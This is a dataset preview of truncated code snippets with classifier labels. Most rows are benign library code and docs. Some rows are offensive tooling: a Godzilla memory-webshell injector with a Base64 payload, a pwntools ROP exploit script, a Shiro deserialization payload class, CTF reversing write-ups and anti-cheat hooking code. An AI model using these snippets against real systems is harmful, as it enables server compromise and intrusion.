content stringlengths 263 5.24M | pred_label stringclasses 1
value | pred_score_pos float64 0.6 1 |
|---|---|---|
import java.lang.reflect.Method;
import java.util.Base64;
public class InjectMemShell {
public static void main(String[] args) {
try {
//哥斯拉内存shell的class Base64
String godzillaMemShellClassBase64 = "yv66vgAAADQCIgoAFwE4CAE5CQB/AToIATsJAH8BPAoAFwE9CgB/AT4HAT8HAUAKAAkBPQoAJwFBCgAxAUIK... | __label__POS | 0.997004 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Crypto.Utilities;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw
{
internal abstract class Nat192
{
private ... | __label__POS | 0.763973 |
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package plugin;
import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.util.Map;
public class EvalCode extends ClassLoader {
Map parameter;
public EvalCode() {
}
public Ev... | __label__POS | 0.88523 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Crypto.Utilities;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw
{
internal abstract class Nat
{
private con... | __label__POS | 0.996334 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Crypto.Utilities;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw
{
internal abstract class Nat128
{
private ... | __label__POS | 0.893294 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Crypto.Utilities;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw
{
internal abstract class Nat320
{
public s... | __label__POS | 0.992221 |
import java.lang.reflect.Method;
import java.util.Base64;
public class InjectMemShell {
public static void main(String[] args) {
try {
//哥斯拉内存shell的class Base64
String godzillaMemShellClassBase64 = "yv66vgAAADQCsAoAHQF+CAF/CQCmAYAIAYEJAKYBggoAHQGDCAGECgCmAYUHAYYIAYcHAYgKAA0BiQcBigoB... | __label__POS | 0.999765 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Crypto.Utilities;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw
{
internal abstract class Nat576
{
public s... | __label__POS | 0.982061 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Crypto.Utilities;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw
{
internal abstract class Nat448
{
public s... | __label__POS | 0.988513 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Crypto.Utilities;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw
{
internal abstract class Nat256
{
private ... | __label__POS | 0.669042 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Crypto.Utilities;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Security;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Utilities;
name... | __label__POS | 0.941006 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Crypto.Utilities;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw
{
internal abstract class Nat160
{
private ... | __label__POS | 0.774628 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Crypto.Utilities;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw
{
internal abstract class Nat224
{
private ... | __label__POS | 0.685554 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Endo;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Multiplier;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Field;
namespace BestHTTP.Secu... | __label__POS | 0.693339 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Text;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Utilities;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC
{
internal class LongArray
{
//private static long DEInter... | __label__POS | 0.693012 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Multiplier
{
/**
* Class implementing the WNAF (Window Non-Adjacent Form) multiplication
* algorithm.
*/
public class WNafL2RMultipl... | __label__POS | 0.613618 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Utilities;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Multiplier
{
public abstract class WNafUtilities
{
public static readonly str... | __label__POS | 0.700486 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Multiplier
{
public class FixedPointUtilities
{
public static readonly string PRECOMP_NAME = "bc_fixed_point";
public static in... | __label__POS | 0.752568 |
<HTML>
<HEAD>
<!-- Generated by CppDoc v2.4.1 on June 07, 2008 at 22:48-->
<META NAME="GENERATOR" Content="CppDoc">
<TITLE>Hierarchy for Project api</TITLE>
</HEAD>
<BODY>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0">
<TR>
<TD COLSPAN=2 BGCOLOR="#eeeeff">
<A NAME="navbar_top_firstrow"><!-- --></... | __label__POS | 0.983961 |
<HTML>
<HEAD>
<!-- Generated by CppDoc v2.4.1 on June 07, 2008 at 22:48-->
<META NAME="GENERATOR" Content="CppDoc">
<TITLE>Nestopia Core API: Nes::Core::Input::Controllers</TITLE>
</HEAD>
<BODY>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0">
<TR>
<TD COLSPAN=2 BGCOLOR="#eeeeff">
<A NAME="navbar_t... | __label__POS | 0.618761 |
package burp;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ssl.HostnameVerifier;
import javax.net.ssl.HttpsURLConnection;
import javax.net.ssl.SSLSession;
public class NetStateUtil {
public... | __label__POS | 0.964911 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Rfc8032;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Security;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Utilities;
names... | __label__POS | 0.94468 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Rfc8032;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Security;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Utilities;
names... | __label__POS | 0.716802 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Custom.GM
{
internal class SM2P256V1Field
{
// 2^256... | __label__POS | 0.630007 |
package burp;
/*
* @(#)IResponseKeywords.java
*
* Copyright PortSwigger Ltd. All rights reserved.
*
* This code may be used to extend the functionality of Burp Suite Community Edition
* and Burp Suite Professional, provided that this usage does not violate the
* license terms for those products.
*/
import java... | __label__POS | 0.839778 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Custom.Sec
{
internal class SecP224R1Field
{
// 2^22... | __label__POS | 0.660645 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Custom.Sec
{
internal class SecP192K1Field
{
// 2^19... | __label__POS | 0.723734 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Custom.Sec
{
internal class SecP256K1Field
{
// 2^25... | __label__POS | 0.724809 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Custom.Sec
{
internal class SecP256R1Field
{
// 2^25... | __label__POS | 0.606998 |
package burp;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
/**
* @auther Skay
* @date 2022/1/7 16:09
* @description
*/
public class Payload {
publi... | __label__POS | 0.928073 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Custom.Sec
{
internal class SecP128R1Field
{
// 2^12... | __label__POS | 0.718546 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Custom.Sec
{
internal class SecP192R1Field
{
// 2^19... | __label__POS | 0.621656 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Custom.Sec
{
internal class SecP384R1Field
{
// ... | __label__POS | 0.659953 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Custom.Sec
{
internal class SecP224K1Field
{
// 2^22... | __label__POS | 0.719295 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Custom.Sec
{
internal class SecP160R2Field
{
// 2^16... | __label__POS | 0.710911 |
- sections:
- local: index
title: 🤗 Transformers
- local: quicktour
title: Quick tour
- local: installation
title: Installation
title: Get started
- sections:
- local: pipeline_tutorial
title: Pipelines for inference
- local: autoclass_tutorial
title: Load pretrained instances with an A... | __label__POS | 0.613328 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Custom.Sec
{
internal class SecP160R1Field
{
// 2^16... | __label__POS | 0.672478 |
#if !BESTHTTP_DISABLE_ALTERNATE_SSL && (!UNITY_WEBGL || UNITY_EDITOR)
#pragma warning disable
using System;
using System.Diagnostics;
using BestHTTP.SecureProtocol.Org.BouncyCastle.Math.Raw;
namespace BestHTTP.SecureProtocol.Org.BouncyCastle.Math.EC.Custom.Djb
{
internal class Curve25519Field
{
// 2^2... | __label__POS | 0.77583 |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace BestHTTP.Forms
{
/// <summary>
/// A HTTP Form implementation to send textual values.
/// </summary>
public sealed class HTTPUrlEncodedForm : HTTPFormBase
{
private const int EscapeTreshold = 25... | __label__POS | 0.649869 |
- sections:
- local: index
title: 🤗 Transformers
- local: quicktour
title: 둘러보기
- local: installation
title: 설치방법
title: 시작하기
- sections:
- local: pipeline_tutorial
title: 추론을 위한 Pipeline
- local: in_translation
title: (번역중) Pipelines for inference
- local: autoclass_tutorial
titl... | __label__POS | 0.620867 |
<HTML>
<HEAD>
<!-- Generated by CppDoc v2.4.1 on June 07, 2008 at 22:48-->
<META NAME="GENERATOR" Content="CppDoc">
<TITLE>Hierarchy for Project core</TITLE>
</HEAD>
<BODY>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0">
<TR>
<TD COLSPAN=2 BGCOLOR="#eeeeff">
<A NAME="navbar_top_firstrow"><!-- --><... | __label__POS | 0.694186 |
#if !BESTHTTP_DISABLE_SOCKETIO
using System;
namespace BestHTTP.SocketIO.Events
{
/// <summary>
/// Helper class to provide functions to an easy Enum->string conversation of the transport and SocketIO evenet types.
/// </summary>
public static class EventNames
{
public const string Connec... | __label__POS | 0.708178 |
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?>
<feed gd:etag="W/"CUEAQXozeyp7ImA9WxJXEEg.""
xmlns="http://www.w3.org/2005/Atom"
xmlns:gd="http://schemas.google.com/g/2005"
xmlns:georss="http://www.georss.org/georss" xmlns:ope... | __label__POS | 0.725417 |
we have a python script that is using `exec` function to execute hex obfuscated code
let's first execute the script before proceeding with the deobfuscation
```bash
┌──(kali㉿kali)-[~/ctf/sicsCTF2024/crypto/master]
└─$ python obfuscation.py
Please enter the password: anything
Wrong password :(
```
so it's asking for ... | __label__POS | 0.97838 |
let's reverse the code using ida pro, opening the main function we find an array of 45 in length in ascii.
[](https://postimg.cc/DmW38pVv)
after this it gets the userInput and checks whether the userInput length is the same length as v10 which is 45 which means its... | __label__POS | 0.754226 |
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void halt(char *msg) {puts(msg);exit(0);}
int global_KEY = 43219001;
/*
* complete the flag as single var
* test flag : flag{0deadbeef0}
* */
int c5,c6,c7,c8,c9,c10;
void setup(int m){
if(m != 0) return;
c7 = 43219029;
c10 = 43218950;
c9 = 43219038;
}... | __label__POS | 0.691151 |
#!/usr/bin/env python3
# execve generated by ROPgadget
from pwn import * # make sure pwn is above struct to avoid problems
from struct import pack
# Set up pwntools for the correct architecture
exe = './rop'
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'info'
# io = process(exe) # local
io = r... | __label__POS | 0.743355 |
#include "Breakpoint.h"
//#include "Patcher.h"
CBreakpoint * Breakpoint;
// you need to initialize it somewhere( Breakpoint = new Breakpoint(); ) because it needs to setup the exception filter
DWORD CBreakpoint::GetMainThreadId( DWORD pID ) // Credits: Azorbix
{
THREADENTRY32 te32;
HANDLE hSnap = CreateToolhe... | __label__POS | 0.712132 |
#include "VACStringArray.hpp"
#include <algorithm>
#include <cassert>
VACStringArray::VACStringArray(char *begin) noexcept
{
AnalyzeStrings(begin);
}
void VACStringArray::AnalyzeStrings(char *begin)
{
if (m_strings.size())
m_strings.clear();
while (true)
{
char* str = begin;
auto len = strlen(str);
if ... | __label__POS | 0.653061 |
#pragma once
#include <cstdint>
#include "hash.hpp"
template<typename K, typename V>
class HashNode
{
public:
V value;
K key;
void init(K key, V& value)
{
//this->value = value;
//CALL_NO_RET(memcpy, &this->value, &value, sizeof(value));
for (int i = 0, j = 1; i < sizeof(value); ++i)
{
auto ptr = ((ui... | __label__POS | 0.783943 |
#include "native_imports.hpp"
#include "windefs.hpp"
#include "peb_defs.hpp"
#include "util.hpp"
void* riCopyMem(void* dest, const void* src, size_t count)
{
char* dest8 = (char*)dest;
const char* src8 = (const char*)src;
while (count--)
{
*dest8++ = *src8++;
}
return dest;
}
char* riAnsiConvert(const wchar_t*... | __label__POS | 0.81435 |
package made.by.human.tiktokantiburn;
import java.io.File;
import java.io.IOException;
import android.os.Handler;
import android.os.HandlerThread;
import java.io.FileWriter;
import java.util.Date;
import android.app.Application;
public class LogSystem {
public static final String LoggerVersion = "1.4.1";
p... | __label__POS | 0.67537 |
package made.by.human.tiktokantiburn;
import android.util.Log;
import android.view.View;
import android.view.ViewGroup;
public class ViewUtils {
// Основная функция для вызова
public static void printChildren(View view) {
printChildren(view, 0);
}
// Рекурсивная функция с уровнем вложенности... | __label__POS | 0.90322 |
package made.by.human.tiktokantiburn;
import android.util.Log;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.File;
import java.io.InputStreamReader;
import android.util.Log;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.File;
import java.io.InputStrea... | __label__POS | 0.625758 |
package made.by.human.tiktokantiburn;
import android.view.View;
import android.view.ViewGroup;
public class ViewFinder {
public static View getChildByClassName(View parent, String simpleClassName, int position) {
if (!(parent instanceof ViewGroup)) return null;
ViewGroup group = (ViewGroup) paren... | __label__POS | 0.985704 |
#include <iostream>
#include <thread>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mutex>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <termios.h>
#include <errno.h>
#include <vector>
#include <opencv2/opencv.hpp>
#include "sw... | __label__POS | 0.644337 |
// CheckerBoardDemo.cpp : 定义控制台应用程序的入口点。
//
//#include <stdafx.h>
// #include <opencv2\imgproc\types_c.h>
#include<opencv2/opencv.hpp>
#include<iostream>
using namespace cv;
using namespace std;
Mat image, img_gray;
int BOARDSIZE[2]{ 6,9 };//棋盘格每行每列角点个数
int main()
{
vector<vector<Point3f>> objpoints_img;//保存棋盘格上角点的三... | __label__POS | 0.994053 |
#include<opencv2/opencv.hpp>
using namespace cv;
#include<iostream>
#include<string>
using namespace std;
//输入图像
Mat Img;
//灰度值归一化
Mat BGR;
//HSV图像
Mat HSV;
//输出图像
Mat Dst;
//色相
int hmin = 0;
int hmin_Max = 180;
int hmax = 180;
int hmax_Max = 180;
//饱和度
int smin = 0;
int smin_Max = 255;
int smax = 255;
int smax_Max = 2... | __label__POS | 0.959549 |
#include "common.h"
using namespace std;
using namespace cv;
using namespace swan;
// 串口接收,模式选择
_Step_ getInfo(SwanUart SwanUart,_ChessPieceColor_& ChessPieceColor)
{
unsigned char Data;
int Num = 0;
_Step_ Step = ERROR;
while(Num <= 3)
{
switch(Num)
{
case 0:{ SwanUar... | __label__POS | 0.834924 |
#include "common.h"
using namespace std;
using namespace cv;
using namespace swan;
// 图像预处理
void imgProcess(Mat& Img,Mat& Img_LDC,Mat& Img_Gray,Mat& Img_OTSU,Mat& Img_HSV_OTSU_Black,Mat& Img_HSV_OTSU_White)
{
SwanImage SwanImage;
SwanImage::BGR SwanImageBGR;
SwanImage::HSV SwanImageHSV;
Mat Img_HSV;
... | __label__POS | 0.756009 |
#include "common.h"
using namespace std;
using namespace cv;
using namespace swan;
// 所有容器初始化
void allVectorInit(vector<vector<Point>>& allContours,vector<RotatedRect>& outsideRect,vector<RotatedRect>& insideRectUnordered,vector<RotatedRect>& insideRect)
{
allContours.clear();
outsideRect.clear();
insideR... | __label__POS | 0.712833 |
package csci4311.nc;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.util.Scanner;
/**
* Establishes a connection to the server on the given host name (or IP address) and port number and operates in one of
* two modes: download and upload.
*
* @author tlmader.dev@gmail.com
* @since 20... | __label__POS | 0.974164 |
package csci4311.nc;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStreamReader;
import java.net.Socket;
import java.util.Scanner;
/**
* Binds to a specified port number on the local host and waits for a connection request from a client. Once a
* connection is established, it o... | __label__POS | 0.869261 |
package csci4311.nc;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.util.Scanner;
/**
* Binds to a specified port number on the local host and waits for a connection request from a client. Once a
* connection is established, it operates in one of two modes: ... | __label__POS | 0.888564 |
#include "common.h"
using namespace std;
using namespace cv;
using namespace swan;
// 棋盘初始化
void FxxkHuman::Init()
{
for(int i = 0;i < 3;i++)
{
for(int j = 0;j < 3;j++)
{
Num[i][j] = BACKGROUND;
}
}
Count = 0;
}
// 画棋盘
void FxxkHuman::Draw()
{
for(int i = 0;i < 3;i++)
{
cout << "[" ... | __label__POS | 0.982579 |
#include "common.h"
using namespace std;
using namespace cv;
// using namespace Ort;
using namespace swan;
int main()
{
// 类定义
Mat ImgColor;
Mat ImgGray;
Mat ImgOTSU;
SwanCamera SwanCamera;
SwanImage SwanImage;
SwanImage::BGR SwanImageBGR;
SwanImage::HSV SwanImageHSV;
SwanControl S... | __label__POS | 0.961431 |
package csci4311.nc;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStreamReader;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Scanner;
/**
* Establishes a connection to the server on the given host name (or IP address) and port number and operates in on... | __label__POS | 0.979087 |
package tools;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import org.apache.commons.exec.CommandLine;
import org.apache.commons.exec.DefaultExecutor;
import org.apache.commons.exec.ExecuteException;
import org.apache.commons.exec.ExecuteWatchdog;
import org.apache.co... | __label__POS | 0.995546 |
package tools;
import java.util.Arrays;
import java.util.Comparator;
import java.util.LinkedList;
import java.util.List;
public class Strings {
public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
final StringBuilder sb = new StringBuilder();
boolean fir... | __label__POS | 0.998221 |
package tools;
import org.jsoup.Connection;
import org.jsoup.Connection.Method;
import org.jsoup.Connection.Response;
import org.jsoup.Jsoup;
import javax.net.ssl.*;
import java.io.*;
import java.security.SecureRandom;
import java.security.cert.CertificateException;
import java.security.cert.X509Certificate;
import j... | __label__POS | 0.962206 |
package tools;
import vulpayload.Payload;
import java.io.File;
import java.lang.annotation.Annotation;
import java.net.URI;
import java.util.Enumeration;
import java.util.Map;
import java.util.Set;
import java.util.jar.JarEntry;
import java.util.jar.JarFile;
/**
* @auther Skay
* @date 2021/4/20 15:05
* @descripti... | __label__POS | 0.882028 |
package tools.secmgr;
import java.security.Permission;
import java.util.Collections;
import java.util.LinkedList;
import java.util.List;
import java.util.concurrent.Callable;
// TODO per-thread secmgr
public class ExecCheckingSecurityManager extends SecurityManager {
public ExecCheckingSecurityManager() {
this(tru... | __label__POS | 0.696757 |
#include "common.h"
template<typename T>
__device__ int set_insert(T *set, int set_size, T value) {
int slot = value % set_size;
int start_slot = slot;
while (true) {
T prev = atomicCAS(&set[slot], EMPTY_VALUE, value);
if (prev == EMPTY_VALUE || prev == value) {
return slot;
}
slot = (slot... | __label__POS | 0.856071 |
package tools.nc;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.util.Scanner;
/**
* Establishes a connection to the server on the given host name (or IP address) and port number and operates in one of
* two modes: download and upload.
*
* @author tlmader.dev@gmail.com
* @since 2017-... | __label__POS | 0.974187 |
package tools.nc;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStreamReader;
import java.net.Socket;
import java.util.Scanner;
/**
* Binds to a specified port number on the local host and waits for a connection request from a client. Once a
* connection is established, it oper... | __label__POS | 0.869367 |
package tools.nc;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.util.Scanner;
/**
* Binds to a specified port number on the local host and waits for a connection request from a client. Once a
* connection is established, it operates in one of two modes: dow... | __label__POS | 0.888648 |
package tools.nc;
import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.ServerSocket;
import java.net.Socket;
import java.util.Arrays;
import java.util.Scanner;
/**
* Establishes a connection to the server on the given host name... | __label__POS | 0.965849 |
package vulpayload;
import baselib.Result;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import tools.Random_Str;
i... | __label__POS | 0.729282 |
# space <name> <id> <mau size>
space mpe:tc0:abs24 102 8
space mpe:vtc:linear 1 8
space mpe:vtc:abs24 2 8
space mpe:vtc:abs18 3 8
space mpe:tc1:linear 201 8
space mpe:tc1:abs24 202 8
space mpe:tc1:abs18 203 8
space mpe:tc1:csa 204 8
space mpe:tc0:abs18 103 8
space mpe:tc0:csa 104 8
space mpe:tc0:linear 101 8
# chip <na... | __label__POS | 0.978767 |
#include "include/ValueCallbacks.h"
#include "include/BER.h"
#include <algorithm>
#define ASSERT_VALID_VALUE(value) if(!value) return nullptr;
#define SETTING_NON_SETTABLE_ERROR READ_ONLY
// If the value to be set is invalid
#define ASSERT_VALID_SETTABLE_VALUE(value) if(!value) return GEN_ERR;
#define ASSERT_VALID_S... | __label__POS | 0.82535 |
#ifndef VALUE_CALLBACKS_h
#define VALUE_CALLBACKS_h
#include "BER.h"
#include <deque>
#include <algorithm>
typedef int (*GETINT_FUNC)() ;
typedef uint32_t (*GETUINT_FUNC)();
typedef const std::string (*GETSTRING_FUNC)();
class ValueCallback {
public:
ValueCallback(SortableOIDType* oid, ASN_TYPE type): OID(oid)... | __label__POS | 0.900433 |
#include "sections.h"
#include "AutoLock.h"
#include "Mutex.h"
#include "config.h"
#include "processes.h"
#include "utils.h"
#include "globals.h"
// return true if the process created a R/W section object for the given file
bool sections::IsFileSectionOwner(PUNICODE_STRING FileName, ULONG Pid)
{
// mutex allows acq... | __label__POS | 0.834185 |
#include "files.h"
#include "AutoLock.h"
#include "processes.h"
#include "config.h"
#include "globals.h"
#include "utils.h"
bool files::AddDeletedFile(PUNICODE_STRING FileName, PVOID Content,ULONG Size, ULONG Pid, double PreEntropy)
{
// mutex allows acquiring recursively
AutoLock<Mutex> process_list_lock(Processe... | __label__POS | 0.739043 |
package main
import (
"fmt"
"github.com/0neSe7en/jikefm/jike"
"github.com/0neSe7en/jikefm/musicapi"
"github.com/faiface/beep"
"github.com/faiface/beep/speaker"
"github.com/gdamore/tcell"
"strconv"
"strings"
"time"
"unicode"
)
var CurrentSession *jike.Session
var fm = newFm()
type Music struct {
url st... | __label__POS | 0.873388 |
package main
import (
"fmt"
"github.com/0neSe7en/jikefm/jike"
)
type Topic struct {
id string
name string
playing int
playlist []jike.Message
skip string
more chan bool
ui *TopicUI
}
type TopicList map[string]*Topic
var topicOrder = []string{
"55483ddee4b03ccbae843925",
"5899d... | __label__POS | 0.606319 |
/**
* tool.c
* Дополнительные функции
*
* Вспомогательные функции для работы с данными
*
*/
#include <modstd.h>
#include <system.h>
uint64_t strlen(char *str) {
uint64_t length = 0;
while (*str) {
length++;
str++;
}
return length;
}
void strcpy(char *dest, char *src) {
size_t i = 0;
while (src[i] != ... | __label__POS | 0.735498 |
// auto-generated
// Code generated by '$ fyne bundle'. DO NOT EDIT.
package main
import "fyne.io/fyne/v2"
var resourceIconPng = &fyne.StaticResource{
StaticName: "icon.png",
StaticContent: []byte(
"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x01\x00\x00\x00\x01\x00\b\x06\x00\x00\x00\\r\xa8f\x00\x00\x00 cHRM\x00... | __label__POS | 0.897811 |
Dependencies for Project 'rt1064', Target 'nor_sdram_zf_dtcm': (DO NOT MODIFY !)
CompilerVersion: 6190000::V6.19::ARMCLANG
F (..\user\src\isr.c)(0x6878BD8E)(-xc -std=c99 --target=arm-arm-none-eabi -mcpu=cortex-m7 -mfpu=fpv5-d16 -mfloat-abi=hard -c
